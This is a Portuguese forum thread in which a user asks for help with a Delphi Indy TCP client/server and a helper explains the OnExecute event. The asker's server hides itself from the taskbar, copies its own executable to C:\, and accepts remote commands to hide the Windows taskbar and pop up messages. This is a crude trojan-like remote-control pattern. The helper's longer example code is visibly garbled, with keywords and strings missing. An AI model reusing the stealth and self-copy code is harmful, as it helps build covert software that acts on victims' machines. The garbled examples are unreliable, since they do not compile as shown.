Ajuda na criação de cliente/servidor

bloodnick2015 · Novembro 1, 2015

Estou tentando criar um cliente/servidor, só que quando rodo o executável do servidor da um erro:

Lembrando que quando mudo o Active de false para true do IdTCPServer dá esse erro.

O código do servidor:

unit Unit1; 

interface 

uses 
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, 
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, 
  IdComponent, IdCustomTCPServer, IdTCPServer, IdContext; 

type 
  TForm1 = class(TForm) 
    mensagem: TIdTCPServer; 
    hidebar: TIdTCPServer; 
    Memo1: TMemo; 
    Memo2: TMemo; 
    procedure mensagemConnect(AContext: TIdContext); 
    procedure Memo1Change(Sender: TObject); 
    procedure hidebarConnect(AContext: TIdContext); 
    procedure Memo2Change(Sender: TObject); 
    procedure FormCreate(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 

var 
  Form1: TForm1; 

implementation 

{$R *.dfm} 

procedure TForm1.FormCreate(Sender: TObject); 
type 
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall; 
var 
Handle: THandle; 
RegisterServiceProcess: TRegisterServiceProcess; 
a : String; 
begin 
//*** Nao aparece na barra *********************************************** 
SetWindowLong(Application.Handle, GWL_EXSTYLE, 
GetWindowLong(Application.Handle, GWL_EXSTYLE) or 
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); 

a := Application.ExeName; 
If not FileExists('C:\') then 
  Begin 
    CopyFile(Pchar(a), Pchar('C:\'), False); 
  End; 

end; 

procedure TForm1.hidebarConnect(AContext: TIdContext); 
begin 
With AContext.Connection.IOHandler do 
  begin 
    Memo2.Lines.Add(Readln) 
  end; 
  memo2.Text := ''; 
end; 

procedure TForm1.Memo1Change(Sender: TObject); 
var 
a : string; 
begin 
a := memo1.Lines[0]; 
ShowMessage(a); 
end; 

procedure TForm1.Memo2Change(Sender: TObject); 
var 
a : string; 
begin 
a := memo2.Lines[0]; 
  if a = 'esconder' then 
  ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE); 
  if a = 'mostrar' then 
  ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_RESTORE); 
end; 

procedure TForm1.mensagemConnect(AContext: TIdContext); 
begin 
With AContext.Connection.IOHandler do 
  begin 
    Memo1.Lines.Add(Readln) 
  end; 
  memo1.Text := ''; 
end; 

end.

O código do cliente:

unit Unit1; 

interface 

uses 
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, 
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, 
  IdComponent, IdTCPConnection, IdTCPClient; 

type 
  TForm1 = class(TForm) 
    GroupBox1: TGroupBox; 
    GroupBox2: TGroupBox; 
    GroupBox3: TGroupBox; 
    IP: TEdit; 
    Edit1: TEdit; 
    Button1: TButton; 
    ComboBox1: TComboBox; 
    Button2: TButton; 
    mensagem: TIdTCPClient; 
    hidebar: TIdTCPClient; 
    procedure Button1Click(Sender: TObject); 
    procedure mensagemConnected(Sender: TObject); 
    procedure Button2Click(Sender: TObject); 
    procedure hidebarConnected(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 

var 
  Form1: TForm1; 

implementation 

{$R *.dfm} 

procedure TForm1.Button1Click(Sender: TObject); 
begin 
mensagem.Host := IP.Text; 
mensagem.Connect; 
end; 

procedure TForm1.Button2Click(Sender: TObject); 
begin 
hidebar.Host := Edit1.Text; 
hidebar.Connect; 
end; 

procedure TForm1.hidebarConnected(Sender: TObject); 
begin 
With hidebar Do 
  Begin 
    WriteLn(Combobox1.Text); 
    Disconnect; 
  End; 
end; 

procedure TForm1.mensagemConnected(Sender: TObject); 
begin 
With mensagem Do 
  Begin 
    WriteLn(Edit1.Text); 
    Disconnect; 
  End; 
end; 

end.

Editado Novembro 1, 2015 por bloodnick2015

bloodnick2015 · Novembro 2, 2015

Observação:

em

procedure TForm1.hidebarConnect(AContext: TIdContext);

e em

procedure TForm1.mensagemhidebarConnect(AContext: TIdContext);

Eu adicionei IOHandler, pois estava dando erro.

**Jhonas** · Novembro 2, 2015

Com relação ao Erro:

O TIdTCPServer requer um OnExecute ( manipulador de eventos a ser atribuído. )

O TIdCustomTCPServer não.

A única diferença entre os dois é que TIdTCPServer executa o evento OnExecute , e exige que ele seja atribuído antes do servidor poder ser ativado.

abraço

bloodnick2015 · Novembro 3, 2015

Com relação ao Erro:
O TIdTCPServer requer um OnExecute ( manipulador de eventos a ser atribuído. )
O TIdCustomTCPServer não.
A única diferença entre os dois é que TIdTCPServer executa o evento OnExecute , e exige que ele seja atribuído antes do servidor poder ser ativado.
abraço

E como uso o OnExecute?

**Jhonas** · Novembro 3, 2015

exemplos

https://www.google.com.br/search?q=tidtcpserver+onexecute+example&ie=utf-8&oe=utf-8&gws_rd=cr&ei=wfY4VrfVJMOawQTH-Z7ADQ

abraço

bloodnick2015 · Novembro 3, 2015

exemplos
https://www.google.com.br/search?q=tidtcpserver+onexecute+example&ie=utf-8&oe=utf-8&gws_rd=cr&ei=wfY4VrfVJMOawQTH-Z7ADQ
abraço

Não entendi. Pode me ajudar a montar o código? Se quiser coloco os arquivos que estou usando.

Editado Novembro 3, 2015 por bloodnick2015

**Jhonas** · Novembro 3, 2015

aplique esses exemplos ao seu código .. crie somente o evento OnExecute no Server e veja se não dá mais o erro

http://stackoverflow.com/questions/11573427/delphi-indy-clients-sends-server-request-how-to-wait-for-response

http://stackoverflow.com/questions/8415551/indy-tcp-client-server-with-the-client-acting-as-a-server

abraço

bloodnick2015 · Novembro 4, 2015

aplique esses exemplos ao seu código .. crie somente o evento OnExecute no Server e veja se não dá mais o erro
http://stackoverflow.com/questions/11573427/delphi-indy-clients-sends-server-request-how-to-wait-for-response
http://stackoverflow.com/questions/8415551/indy-tcp-client-server-with-the-client-acting-as-a-server
abraço

Eu não sei qual parte é o OnExecuteOnExecute.

**Jhonas** · Novembro 4, 2015

no componente TIdTCPServer, vá em propriedades e clique 2 vezes no evento OnExecute

vai ficar algo tipo : ( alguns exemplos )

procedure TForm1.IdTCPServer1Execute(AContext: TIdContext);
var
  Cmd: String;
begin
  Cmd := AContext.Connection.IOHandler.ReadLn;
  ...
  if (Command is Successful) then
    AContext.Connection.IOHandler.WriteLn('200 ' + ...);
  else
    AContext.Connection.IOHandler.WriteLn('500 Some Error Text here');
end;

===========================================================================

procedure TForm1.IdTCPServer1Execute(AContext: TIdContext);
var
  s: string;
  i: Integer;
begin
  with AContext.Connection.IOHandler do
  try
    WriteLn('Type an integer and Enter');
    s := ReadLn;
    try
      i := StrToInt(s);
      WriteLn(s + ' squared is ' + IntToStr(i*i));
    except
      WriteLn(s + ' is not an integer');
    end;
  finally
    Free;
  end;
end;

================================================================

um exemplo mais completo

Server:

type
  TClient = (TIdContext)
  
    UserName: String;
    Queue: TIdThreadSafeStringList;
  end;
 
constructor TClient.Create(AConnection: TIdTCPConnection; AYarn: TIdYarn; 
AList: TIdContextThreadList = nil);
begin
  inherited;
  Queue := TIdThreadSafeStringList.Create;
end;
 
destructor TClient.Destroy;
begin
  Queue.Free;
  inherited;
end;
 
procedure TForm1.FormCreate(Sender: TObject);
begin
  IdTCPServer1.ContextClass := TClient;
end;
 
procedure TForm1.IdTCPServer1Connect(AContext: TIdContext);
begin
  AContext.Connection.IOHandler.DefStringEncoding := IndyTextEncoding_UTF8;
  TClient(AContext).UserName := AContext.Connection.IOHandler.ReadLn;
end;
 
procedure TForm1.IdTCPServer1Execute(AContext: TIdContext);
var
  Client: TClient;
  List, TempList: TStringList;
  S: String;
  I: Integer;
begin
  Client := TClient(AContext);
 
  TempList := nil;
  
    List := Client.Queue.Lock;
    
       List.Count > 0 
      begin
        TempList := TStringList.Create;
        TempList.Assign(List);
        List.Clear;
      end;
    
      Queue.Unlock;
    end;
     TempList <> nil then
    begin
       I := 0 to TempList.Count-1 
      begin
        S := TempList;
        AContext.Connection.IOHandler.WriteLn(S);
        TThread.Queue(nil,
          procedure
          begin
            Memo1.Lines.Add( + Client.UserName +  + S);
          end
        );
      end;
    end;
  
    TempList.Free;
  end;
 
   AContext.Connection.IOHandler.InputBufferIsEmpty then
    AContext.Connection.IOHandler.CheckForDataOnSource(100);
 
   not AContext.Connection.IOHandler.InputBufferIsEmpty then
  begin
    S := AContext.Connection.IOHandler.ReadLn;
    TThread.Queue(nil,
      procedure
      begin
        Form1.Memo1.Lines.Add( + Client.UserName +  + S);
      end
    );
  end;
end;
 
procedure TForm1.SendMessageToClient( AUserName, AMsg: String);
var
  List: TIdContextList;
  I: Integer;
  Client: TClient;
  AllClients: Boolean;
begin
  AllClients := (AUserName = );
  List := IdTCPServer1.Contexts.LockList;
  
     I := 0 to List.Count-1 
    begin
      Client := TClient(List);
       AllClients or TextIsSame(Client.UserName, AUserName) then
      begin
        Client.Queue.Add(AMsg);
         not AllClients then
          Break;
      end;
    end;
  
    IdTCPServer1.Contexts.UnlockList;
  end;
end;
 
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
var
  User: String;
begin
   Key = #13 then
  begin
    Key := #0;
    SendMessageToClient(UserName.Text, Edit1.Text);
    Edit1.Clear;
  end;
end;

Client:

type
  TClientThread = (TThread)
  
    Conn: TIdTCPClient;
    procedure Execute; override;
  
    Queue: TIdThreadSafeStringList;
    constructor Create; reintroduce;
    destructor Destroy; override;
    procedure SendMessageToServer( AMsg: string);
  end;
 
constructor TClientThread.Create;
begin
  inherited Create(False);
  Conn := TIdTCPClient.Create;
  Conn.Host := ...;
  Conn.Port := ...;
  Conn.ConnectTimeout := 5000;
  ...
  Queue := TIdThreadSafeStringList.Create;
end;
 
destructor TClientThread.Destroy;
begin
  Conn.Free;
  Queue.Free;
  inherited;
end;
 
procedure TClientThread.Execute;
var
  Client: TClient;
  List, TempList: TStringList;
  S: String;
begin
   not Terminated 
  begin
    
      Conn.Connect;
    except
      TThread.Queue(nil,
        procedure
          Form1.Memo1.Lines.Add();
        end
      );
      I := 5;
       (not Terminated) and (I > 0) 
      begin
        Sleep(1000);
        Dec(I);
      end;
      Continue;
    end;
 
    
      
        TThread.Queue(nil,
          procedure
            Form1.Memo1.Lines.Add();
          end
        );
 
        Queue.Clear;
 
        Conn.IOHandler.DefStringEncoding := IndyTextEncoding_UTF8;
        Conn.IOHandler.WriteLn();
 
         not Terminated 
        begin
          TempList := nil;
          
            List := Queue.Lock;
            
               List.Count > 0 then
              begin
                TempList := TStringList.Create;
                TempList.Assign(List);
                List.Clear;
              end;
            
              Queue.Unlock;
            end;
             TempList <> nil then
            begin
               I := 0 to TempList.Count-1 
              begin
                 Terminated then Break;
                Conn.IOHandler.WriteLn(TempList);
                TThread.Queue(nil,
                  procedure
                    Form1.Memo1.Lines.Add( + TempList);
                  end
                );
              end;
            end;
          
            TempList.Free;
          end;
 
           Conn.IOHandler.InputBufferIsEmpty and (not Terminated) then
            Conn.IOHandler.CheckForDataOnSource(100);
 
           (not Conn.IOHandler.InputBufferIsEmpty) and (not Terminated) 
then
          begin
            S := Conn.IOHandler.ReadLn;
            TThread.Queue(nil,
              procedure
              begin
                Form1.Memo1.Lines.Add( + S);
              end
            );
          end;
        end;
      
        Conn.Disconnect;
        TThread.Queue(nil,
          procedure
            Form1.Memo1.Lines.Add();
          end
        );
      end;
    except
      TThread.Queue(nil,
        procedure
          Form1.Memo1.Lines.Add();
        end
      );
    end;
  end;
end;
 
procedure TClientThread.SendMessageToServer( AMsg: string);
begin
  Queue.Add(AMsg);
end;
 
var
  Thread: TClientThread = nil;
 
procedure TForm1.ConnectButtonClick(Sender: TObject);
begin
   Thread = nil then
    Thread := TClientThread.Create;
end;
 
procedure TForm1.DisconnectButtonClick(Sender: TObject);
begin
   Thread <> nil then
  begin
    Thread.Terminate;
    Thread.WaitFor;
    FreeAndNil(Thread);
  end;
end;
 
procedure TForm1.Edit1KeyPress(AContext: TIdContext; var Key: Char);
var
  S: String;
begin
   Key = #13 then
  begin
    Key := #0;
     Thread <> nil then
      Thread.SendMessageToServer(Edit1.Text);
    Edit1.Clear;
  end;
end;

===============================================================

OBS: O código que vai no evento OnExecute depende do que voce esta querendo fazer

abraço

Entrar

Ajuda na criação de cliente/servidor

Pergunta

bloodnick2015

Link para o comentário

Compartilhar em outros sites

8 respostass a esta questão

Posts Recomendados

bloodnick2015

Link para o comentário

Compartilhar em outros sites

Jhonas

Link para o comentário

Compartilhar em outros sites

bloodnick2015

Link para o comentário

Compartilhar em outros sites

Jhonas

Link para o comentário

Compartilhar em outros sites

bloodnick2015

Link para o comentário

Compartilhar em outros sites

Jhonas

Link para o comentário

Compartilhar em outros sites

bloodnick2015

Link para o comentário

Compartilhar em outros sites

Jhonas

Link para o comentário

Compartilhar em outros sites

Participe da discussão

Estatísticas dos Fóruns

Navegação

Atividades